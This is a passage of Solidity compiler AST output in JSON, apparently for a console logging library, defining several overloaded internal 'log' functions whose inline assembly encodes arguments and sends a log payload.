xpressionStatement","src":"158048:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38856,"isOffset":false,"isSlot":false,"src":"157945:2:22","valueSize":1},{"declaration":38859,"isOffset":false,"isSlot":false,"src":"157974:2:22","valueSize":1},{"declaration":38862,"isOffset":false,"isSlot":false,"src":"158003:2:22","valueSize":1},{"declaration":38865,"isOffset":false,"isSlot":false,"src":"158032:2:22","valueSize":1},{"declaration":38868,"isOffset":false,"isSlot":false,"src":"158061:2:22","valueSize":1}],"id":38876,"nodeType":"InlineAssembly","src":"157909:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"157309:3:22","parameters":{"id":38853,"nodeType":"ParameterList","parameters":[{"constant":false,"id":38846,"mutability":"mutable","name":"p0","nameLocation":"157318:2:22","nodeType":"VariableDeclaration","scope":38878,"src":"157313:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":38845,"name":"bool","nodeType":"ElementaryTypeName","src":"157313:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":38848,"mutability":"mutable","name":"p1","nameLocation":"157330:2:22","nodeType":"VariableDeclaration","scope":38878,"src":"157322:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38847,"name":"address","nodeType":"ElementaryTypeName","src":"157322:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38850,"mutability":"mutable","name":"p2","nameLocation":"157342:2:22","nodeType":"VariableDeclaration","scope":38878,"src":"157334:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38849,"name":"address","nodeType":"ElementaryTypeName","src":"157334:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38852,"mutability":"mutable","name":"p3","nameLocation":"157351:2:22","nodeType":"VariableDeclaration","scope":38878,"src":"157346:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":38851,"name":"bool","nodeType":"ElementaryTypeName","src":"157346:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"157312:42:22"},"returnParameters":{"id":38854,"nodeType":"ParameterList","parameters":[],"src":"157369:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":38912,"nodeType":"FunctionDefinition","src":"158086:786:22","nodes":[],"body":{"id":38911,"nodeType":"Block","src":"158158:714:22","nodes":[],"statements":[{"assignments":[38890],"declarations":[{"constant":false,"id":38890,"mutability":"mutable","name":"m0","nameLocation":"158176:2:22","nodeType":"VariableDeclaration","scope":38911,"src":"158168:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38889,"name":"bytes32","nodeType":"ElementaryTypeName","src":"158168:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38891,"nodeType":"VariableDeclarationStatement","src":"158168:10:22"},{"assignments":[38893],"declarations":[{"constant":false,"id":38893,"mutability":"mutable","name":"m1","nameLocation":"158196:2:22","nodeType":"VariableDeclaration","scope":38911,"src":"158188:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38892,"name":"bytes32","nodeType":"ElementaryTypeName","src":"158188:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38894,"nodeType":"VariableDeclarationStatement","src":"158188:10:22"},{"assignments":[38896],"declarations":[{"constant":false,"id":38896,"mutability":"mutable","name":"m2","nameLocation":"158216:2:22","nodeType":"VariableDeclaration","scope":38911,"src":"158208:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38895,"name":"bytes32","nodeType":"ElementaryTypeName","src":"158208:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38897,"nodeType":"VariableDeclarationStatement","src":"158208:10:22"},{"assignments":[38899],"declarations":[{"constant":false,"id":38899,"mutability":"mutable","name":"m3","nameLocation":"158236:2:22","nodeType":"VariableDeclaration","scope":38911,"src":"158228:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38898,"name":"bytes32","nodeType":"ElementaryTypeName","src":"158228:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38900,"nodeType":"VariableDeclarationStatement","src":"158228:10:22"},{"assignments":[38902],"declarations":[{"constant":false,"id":38902,"mutability":"mutable","name":"m4","nameLocation":"158256:2:22","nodeType":"VariableDeclaration","scope":38911,"src":"158248:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38901,"name":"bytes32","nodeType":"ElementaryTypeName","src":"158248:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38903,"nodeType":"VariableDeclarationStatement","src":"158248:10:22"},{"AST":{"nativeSrc":"158277:378:22","nodeType":"YulBlock","src":"158277:378:22","statements":[{"nativeSrc":"158291:17:22","nodeType":"YulAssignment","src":"158291:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"158303:4:22","nodeType":"YulLiteral","src":"158303:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"158297:5:22","nodeType":"YulIdentifier","src":"158297:5:22"},"nativeSrc":"158297:11:22","nodeType":"YulFunctionCall","src":"158297:11:22"},"variableNames":[{"name":"m0","nativeSrc":"158291:2:22","nodeType":"YulIdentifier","src":"158291:2:22"}]},{"nativeSrc":"158321:17:22","nodeType":"YulAssignment","src":"158321:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"158333:4:22","nodeType":"YulLiteral","src":"158333:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"158327:5:22","nodeType":"YulIdentifier","src":"158327:5:22"},"nativeSrc":"158327:11:22","nodeType":"YulFunctionCall","src":"158327:11:22"},"variableNames":[{"name":"m1","nativeSrc":"158321:2:22","nodeType":"YulIdentifier","src":"158321:2:22"}]},{"nativeSrc":"158351:17:22","nodeType":"YulAssignment","src":"158351:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"158363:4:22","nodeType":"YulLiteral","src":"158363:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"158357:5:22","nodeType":"YulIdentifier","src":"158357:5:22"},"nativeSrc":"158357:11:22","nodeType":"YulFunctionCall","src":"158357:11:22"},"variableNames":[{"name":"m2","nativeSrc":"158351:2:22","nodeType":"YulIdentifier","src":"158351:2:22"}]},{"nativeSrc":"158381:17:22","nodeType":"YulAssignment","src":"158381:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"158393:4:22","nodeType":"YulLiteral","src":"158393:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"158387:5:22","nodeType":"YulIdentifier","src":"158387:5:22"},"nativeSrc":"158387:11:22","nodeType":"YulFunctionCall","src":"158387:11:22"},"variableNames":[{"name":"m3","nativeSrc":"158381:2:22","nodeType":"YulIdentifier","src":"158381:2:22"}]},{"nativeSrc":"158411:17:22","nodeType":"YulAssignment","src":"158411:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"158423:4:22","nodeType":"YulLiteral","src":"158423:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"158417:5:22","nodeType":"YulIdentifier","src":"158417:5:22"},"nativeSrc":"158417:11:22","nodeType":"YulFunctionCall","src":"158417:11:22"},"variableNames":[{"name":"m4","nativeSrc":"158411:2:22","nodeType":"YulIdentifier","src":"158411:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"158512:4:22","nodeType":"YulLiteral","src":"158512:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"158518:10:22","nodeType":"YulLiteral","src":"158518:10:22","type":"","value":"0x0c66d1be"}],"functionName":{"name":"mstore","nativeSrc":"158505:6:22","nodeType":"YulIdentifier","src":"158505:6:22"},"nativeSrc":"158505:24:22","nodeType":"YulFunctionCall","src":"158505:24:22"},"nativeSrc":"158505:24:22","nodeType":"YulExpressionStatement","src":"158505:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"158549:4:22","nodeType":"YulLiteral","src":"158549:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"158555:2:22","nodeType":"YulIdentifier","src":"158555:2:22"}],"functionName":{"name":"mstore","nativeSrc":"158542:6:22","nodeType":"YulIdentifier","src":"158542:6:22"},"nativeSrc":"158542:16:22","nodeType":"YulFunctionCall","src":"158542:16:22"},"nativeSrc":"158542:16:22","nodeType":"YulExpressionStatement","src":"158542:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"158578:4:22","nodeType":"YulLiteral","src":"158578:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"158584:2:22","nodeType":"YulIdentifier","src":"158584:2:22"}],"functionName":{"name":"mstore","nativeSrc":"158571:6:22","nodeType":"YulIdentifier","src":"158571:6:22"},"nativeSrc":"158571:16:22","nodeType":"YulFunctionCall","src":"158571:16:22"},"nativeSrc":"158571:16:22","nodeType":"YulExpressionStatement","src":"158571:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"158607:4:22","nodeType":"YulLiteral","src":"158607:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"158613:2:22","nodeType":"YulIdentifier","src":"158613:2:22"}],"functionName":{"name":"mstore","nativeSrc":"158600:6:22","nodeType":"YulIdentifier","src":"158600:6:22"},"nativeSrc":"158600:16:22","nodeType":"YulFunctionCall","src":"158600:16:22"},"nativeSrc":"158600:16:22","nodeType":"YulExpressionStatement","src":"158600:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"158636:4:22","nodeType":"YulLiteral","src":"158636:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"158642:2:22","nodeType":"YulIdentifier","src":"158642:2:22"}],"functionName":{"name":"mstore","nativeSrc":"158629:6:22","nodeType":"YulIdentifier","src":"158629:6:22"},"nativeSrc":"158629:16:22","nodeType":"YulFunctionCall","src":"158629:16:22"},"nativeSrc":"158629:16:22","nodeType":"YulExpressionStatement","src":"158629:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38890,"isOffset":false,"isSlot":false,"src":"158291:2:22","valueSize":1},{"declaration":38893,"isOffset":false,"isSlot":false,"src":"158321:2:22","valueSize":1},{"declaration":38896,"isOffset":false,"isSlot":false,"src":"158351:2:22","valueSize":1},{"declaration":38899,"isOffset":false,"isSlot":false,"src":"158381:2:22","valueSize":1},{"declaration":38902,"isOffset":false,"isSlot":false,"src":"158411:2:22","valueSize":1},{"declaration":38880,"isOffset":false,"isSlot":false,"src":"158555:2:22","valueSize":1},{"declaration":38882,"isOffset":false,"isSlot":false,"src":"158584:2:22","valueSize":1},{"declaration":38884,"isOffset":false,"isSlot":false,"src":"158613:2:22","valueSize":1},{"declaration":38886,"isOffset":false,"isSlot":false,"src":"158642:2:22","valueSize":1}],"id":38904,"nodeType":"InlineAssembly","src":"158268:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":38906,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"158680:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":38907,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"158686:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":38905,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"158664:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":38908,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"158664:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":38909,"nodeType":"ExpressionStatement","src":"158664:27:22"},{"AST":{"nativeSrc":"158710:156:22","nodeType":"YulBlock","src":"158710:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"158731:4:22","nodeType":"YulLiteral","src":"158731:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"158737:2:22","nodeType":"YulIdentifier","src":"158737:2:22"}],"functionName":{"name":"mstore","nativeSrc":"158724:6:22","nodeType":"YulIdentifier","src":"158724:6:22"},"nativeSrc":"158724:16:22","nodeType":"YulFunctionCall","src":"158724:16:22"},"nativeSrc":"158724:16:22","nodeType":"YulExpressionStatement","src":"158724:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"158760:4:22","nodeType":"YulLiteral","src":"158760:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"158766:2:22","nodeType":"YulIdentifier","src":"158766:2:22"}],"functionName":{"name":"mstore","nativeSrc":"158753:6:22","nodeType":"YulIdentifier","src":"158753:6:22"},"nativeSrc":"158753:16:22","nodeType":"YulFunctionCall","src":"158753:16:22"},"nativeSrc":"158753:16:22","nodeType":"YulExpressionStatement","src":"158753:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"158789:4:22","nodeType":"YulLiteral","src":"158789:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"158795:2:22","nodeType":"YulIdentifier","src":"158795:2:22"}],"functionName":{"name":"mstore","nativeSrc":"158782:6:22","nodeType":"YulIdentifier","src":"158782:6:22"},"nativeSrc":"158782:16:22","nodeType":"YulFunctionCall","src":"158782:16:22"},"nativeSrc":"158782:16:22","nodeType":"YulExpressionStatement","src":"158782:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"158818:4:22","nodeType":"YulLiteral","src":"158818:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"158824:2:22","nodeType":"YulIdentifier","src":"158824:2:22"}],"functionName":{"name":"mstore","nativeSrc":"158811:6:22","nodeType":"YulIdentifier","src":"158811:6:22"},"nativeSrc":"158811:16:22","nodeType":"YulFunctionCall","src":"158811:16:22"},"nativeSrc":"158811:16:22","nodeType":"YulExpressionStatement","src":"158811:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"158847:4:22","nodeType":"YulLiteral","src":"158847:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"158853:2:22","nodeType":"YulIdentifier","src":"158853:2:22"}],"functionName":{"name":"mstore","nativeSrc":"158840:6:22","nodeType":"YulIdentifier","src":"158840:6:22"},"nativeSrc":"158840:16:22","nodeType":"YulFunctionCall","src":"158840:16:22"},"nativeSrc":"158840:16:22","nodeType":"YulExpressionStatement","src":"158840:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38890,"isOffset":false,"isSlot":false,"src":"158737:2:22","valueSize":1},{"declaration":38893,"isOffset":false,"isSlot":false,"src":"158766:2:22","valueSize":1},{"declaration":38896,"isOffset":false,"isSlot":false,"src":"158795:2:22","valueSize":1},{"declaration":38899,"isOffset":false,"isSlot":false,"src":"158824:2:22","valueSize":1},{"declaration":38902,"isOffset":false,"isSlot":false,"src":"158853:2:22","valueSize":1}],"id":38910,"nodeType":"InlineAssembly","src":"158701:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"158095:3:22","parameters":{"id":38887,"nodeType":"ParameterList","parameters":[{"constant":false,"id":38880,"mutability":"mutable","name":"p0","nameLocation":"158104:2:22","nodeType":"VariableDeclaration","scope":38912,"src":"158099:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":38879,"name":"bool","nodeType":"ElementaryTypeName","src":"158099:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":38882,"mutability":"mutable","name":"p1","nameLocation":"158116:2:22","nodeType":"VariableDeclaration","scope":38912,"src":"158108:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38881,"name":"address","nodeType":"ElementaryTypeName","src":"158108:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38884,"mutability":"mutable","name":"p2","nameLocation":"158128:2:22","nodeType":"VariableDeclaration","scope":38912,"src":"158120:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38883,"name":"address","nodeType":"ElementaryTypeName","src":"158120:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38886,"mutability":"mutable","name":"p3","nameLocation":"158140:2:22","nodeType":"VariableDeclaration","scope":38912,"src":"158132:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":38885,"name":"uint256","nodeType":"ElementaryTypeName","src":"158132:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"158098:45:22"},"returnParameters":{"id":38888,"nodeType":"ParameterList","parameters":[],"src":"158158:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":38952,"nodeType":"FunctionDefinition","src":"158878:1334:22","nodes":[],"body":{"id":38951,"nodeType":"Block","src":"158950:1262:22","nodes":[],"statements":[{"assignments":[38924],"declarations":[{"constant":false,"id":38924,"mutability":"mutable","name":"m0","nameLocation":"158968:2:22","nodeType":"VariableDeclaration","scope":38951,"src":"158960:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38923,"name":"bytes32","nodeType":"ElementaryTypeName","src":"158960:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38925,"nodeType":"VariableDeclarationStatement","src":"158960:10:22"},{"assignments":[38927],"declarations":[{"constant":false,"id":38927,"mutability":"mutable","name":"m1","nameLocation":"158988:2:22","nodeType":"VariableDeclaration","scope":38951,"src":"158980:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38926,"name":"bytes32","nodeType":"ElementaryTypeName","src":"158980:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38928,"nodeType":"VariableDeclarationStatement","src":"158980:10:22"},{"assignments":[38930],"declarations":[{"constant":false,"id":38930,"mutability":"mutable","name":"m2","nameLocation":"159008:2:22","nodeType":"VariableDeclaration","scope":38951,"src":"159000:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38929,"name":"bytes32","nodeType":"ElementaryTypeName","src":"159000:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38931,"nodeType":"VariableDeclarationStatement","src":"159000:10:22"},{"assignments":[38933],"declarations":[{"constant":false,"id":38933,"mutability":"mutable","name":"m3","nameLocation":"159028:2:22","nodeType":"VariableDeclaration","scope":38951,"src":"159020:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38932,"name":"bytes32","nodeType":"ElementaryTypeName","src":"159020:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38934,"nodeType":"VariableDeclarationStatement","src":"159020:10:22"},{"assignments":[38936],"declarations":[{"constant":false,"id":38936,"mutability":"mutable","name":"m4","nameLocation":"159048:2:22","nodeType":"VariableDeclaration","scope":38951,"src":"159040:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38935,"name":"bytes32","nodeType":"ElementaryTypeName","src":"159040:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38937,"nodeType":"VariableDeclarationStatement","src":"159040:10:22"},{"assignments":[38939],"declarations":[{"constant":false,"id":38939,"mutability":"mutable","name":"m5","nameLocation":"159068:2:22","nodeType":"VariableDeclaration","scope":38951,"src":"159060:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38938,"name":"bytes32","nodeType":"ElementaryTypeName","src":"159060:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38940,"nodeType":"VariableDeclarationStatement","src":"159060:10:22"},{"assignments":[38942],"declarations":[{"constant":false,"id":38942,"mutability":"mutable","name":"m6","nameLocation":"159088:2:22","nodeType":"VariableDeclaration","scope":38951,"src":"159080:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38941,"name":"bytes32","nodeType":"ElementaryTypeName","src":"159080:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38943,"nodeType":"VariableDeclarationStatement","src":"159080:10:22"},{"AST":{"nativeSrc":"159109:828:22","nodeType":"YulBlock","src":"159109:828:22","statements":[{"body":{"nativeSrc":"159152:313:22","nodeType":"YulBlock","src":"159152:313:22","statements":[{"nativeSrc":"159170:15:22","nodeType":"YulVariableDeclaration","src":"159170:15:22","value":{"kind":"number","nativeSrc":"159184:1:22","nodeType":"YulLiteral","src":"159184:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"159174:6:22","nodeType":"YulTypedName","src":"159174:6:22","type":""}]},{"body":{"nativeSrc":"159255:40:22","nodeType":"YulBlock","src":"159255:40:22","statements":[{"body":{"nativeSrc":"159284:9:22","nodeType":"YulBlock","src":"159284:9:22","statements":[{"nativeSrc":"159286:5:22","nodeType":"YulBreak","src":"159286:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"159272:6:22","nodeType":"YulIdentifier","src":"159272:6:22"},{"name":"w","nativeSrc":"159280:1:22","nodeType":"YulIdentifier","src":"159280:1:22"}],"functionName":{"name":"byte","nativeSrc":"159267:4:22","nodeType":"YulIdentifier","src":"159267:4:22"},"nativeSrc":"159267:15:22","nodeType":"YulFunctionCall","src":"159267:15:22"}],"functionName":{"name":"iszero","nativeSrc":"159260:6:22","nodeType":"YulIdentifier","src":"159260:6:22"},"nativeSrc":"159260:23:22","nodeType":"YulFunctionCall","src":"159260:23:22"},"nativeSrc":"159257:36:22","nodeType":"YulIf","src":"159257:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"159212:6:22","nodeType":"YulIdentifier","src":"159212:6:22"},{"kind":"number","nativeSrc":"159220:4:22","nodeType":"YulLiteral","src":"159220:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"159209:2:22","nodeType":"YulIdentifier","src":"159209:2:22"},"nativeSrc":"159209:16:22","nodeType":"YulFunctionCall","src":"159209:16:22"},"nativeSrc":"159202:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"159226:28:22","nodeType":"YulBlock","src":"159226:28:22","statements":[{"nativeSrc":"159228:24:22","nodeType":"YulAssignment","src":"159228:24:22","value":{"arguments":[{"name":"length","nativeSrc":"159242:6:22","nodeType":"YulIdentifier","src":"159242:6:22"},{"kind":"number","nativeSrc":"159250:1:22","nodeType":"YulLiteral","src":"159250:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"159238:3:22","nodeType":"YulIdentifier","src":"159238:3:22"},"nativeSrc":"159238:14:22","nodeType":"YulFunctionCall","src":"159238:14:22"},"variableNames":[{"name":"length","nativeSrc":"159228:6:22","nodeType":"YulIdentifier","src":"159228:6:22"}]}]},"pre":{"nativeSrc":"159206:2:22","nodeType":"YulBlock","src":"159206:2:22","statements":[]},"src":"159202:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"159319:3:22","nodeType":"YulIdentifier","src":"159319:3:22"},{"name":"length","nativeSrc":"159324:6:22","nodeType":"YulIdentifier","src":"159324:6:22"}],"functionName":{"name":"mstore","nativeSrc":"159312:6:22","nodeType":"YulIdentifier","src":"159312:6:22"},"nativeSrc":"159312:19:22","nodeType":"YulFunctionCall","src":"159312:19:22"},"nativeSrc":"159312:19:22","nodeType":"YulExpressionStatement","src":"159312:19:22"},{"nativeSrc":"159348:37:22","nodeType":"YulVariableDeclaration","src":"159348:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"159365:3:22","nodeType":"YulLiteral","src":"159365:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"159374:1:22","nodeType":"YulLiteral","src":"159374:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"159377:6:22","nodeType":"YulIdentifier","src":"159377:6:22"}],"functionName":{"name":"shl","nativeSrc":"159370:3:22","nodeType":"YulIdentifier","src":"159370:3:22"},"nativeSrc":"159370:14:22","nodeType":"YulFunctionCall","src":"159370:14:22"}],"functionName":{"name":"sub","nativeSrc":"159361:3:22","nodeType":"YulIdentifier","src":"159361:3:22"},"nativeSrc":"159361:24:22","nodeType":"YulFunctionCall","src":"159361:24:22"},"variables":[{"name":"shift","nativeSrc":"159352:5:22","nodeType":"YulTypedName","src":"159352:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"159413:3:22","nodeType":"YulIdentifier","src":"159413:3:22"},{"kind":"number","nativeSrc":"159418:4:22","nodeType":"YulLiteral","src":"159418:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"159409:3:22","nodeType":"YulIdentifier","src":"159409:3:22"},"nativeSrc":"159409:14:22","nodeType":"YulFunctionCall","src":"159409:14:22"},{"arguments":[{"name":"shift","nativeSrc":"159429:5:22","nodeType":"YulIdentifier","src":"159429:5:22"},{"arguments":[{"name":"shift","nativeSrc":"159440:5:22","nodeType":"YulIdentifier","src":"159440:5:22"},{"name":"w","nativeSrc":"159447:1:22","nodeType":"YulIdentifier","src":"159447:1:22"}],"functionName":{"name":"shr","nativeSrc":"159436:3:22","nodeType":"YulIdentifier","src":"159436:3:22"},"nativeSrc":"159436:13:22","nodeType":"YulFunctionCall","src":"159436:13:22"}],"functionName":{"name":"shl","nativeSrc":"159425:3:22","nodeType":"YulIdentifier","src":"159425:3:22"},"nativeSrc":"159425:25:22","nodeType":"YulFunctionCall","src":"159425:25:22"}],"functionName":{"name":"mstore","nativeSrc":"159402:6:22","nodeType":"YulIdentifier","src":"159402:6:22"},"nativeSrc":"159402:49:22","nodeType":"YulFunctionCall","src":"159402:49:22"},"nativeSrc":"159402:49:22","nodeType":"YulExpressionStatement","src":"159402:49:22"}]},"name":"writeString","nativeSrc":"159123:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"159144:3:22","nodeType":"YulTypedName","src":"159144:3:22","type":""},{"name":"w","nativeSrc":"159149:1:22","nodeType":"YulTypedName","src":"159149:1:22","type":""}],"src":"159123:342:22"},{"nativeSrc":"159478:17:22","nodeType":"YulAssignment","src":"159478:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"159490:4:22","nodeType":"YulLiteral","src":"159490:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"159484:5:22","nodeType":"YulIdentifier","src":"159484:5:22"},"nativeSrc":"159484:11:22","nodeType":"YulFunctionCall","src":"159484:11:22"},"variableNames":[{"name":"m0","nativeSrc":"159478:2:22","nodeType":"YulIdentifier","src":"159478:2:22"}]},{"nativeSrc":"159508:17:22","nodeType":"YulAssignment","src":"159508:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"159520:4:22","nodeType":"YulLiteral","src":"159520:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"159514:5:22","nodeType":"YulIdentifier","src":"159514:5:22"},"nativeSrc":"159514:11:22","nodeType":"YulFunctionCall","src":"159514:11:22"},"variableNames":[{"name":"m1","nativeSrc":"159508:2:22","nodeType":"YulIdentifier","src":"159508:2:22"}]},{"nativeSrc":"159538:17:22","nodeType":"YulAssignment","src":"159538:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"159550:4:22","nodeType":"YulLiteral","src":"159550:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"159544:5:22","nodeType":"YulIdentifier","src":"159544:5:22"},"nativeSrc":"159544:11:22","nodeType":"YulFunctionCall","src":"159544:11:22"},"variableNames":[{"name":"m2","nativeSrc":"159538:2:22","nodeType":"YulIdentifier","src":"159538:2:22"}]},{"nativeSrc":"159568:17:22","nod